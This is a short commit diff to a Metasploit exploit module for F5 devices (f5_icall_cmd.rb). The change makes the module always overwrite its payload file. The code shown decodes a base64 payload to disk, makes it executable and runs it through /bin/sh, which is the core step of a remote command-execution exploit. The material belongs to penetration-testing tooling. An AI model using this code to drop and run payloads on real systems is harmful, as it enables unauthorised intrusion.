always overwrite the payload file

Author: m0t

modules/exploits/linux/http/f5_icall_cmd.rb

@@ -211,7 +211,7 @@ def check
   def exploit
     # phase 1: create iCall script to create file with payload, execute it and remove it.
     shell_cmd = %(echo #{Rex::Text.encode_base64(payload.encoded)}|base64 --decode >#{@payload_path}; chmod +x #{@payload_path};#{@payload_path})
-    cmd = %(if { ! [file exists #{@payload_path}]} { exec /bin/sh -c "#{shell_cmd}"})
+    cmd = %(exec /bin/sh -c "#{shell_cmd}")
 
     arg_max = datastore['ARG_MAX']
     if shell_cmd.size > arg_max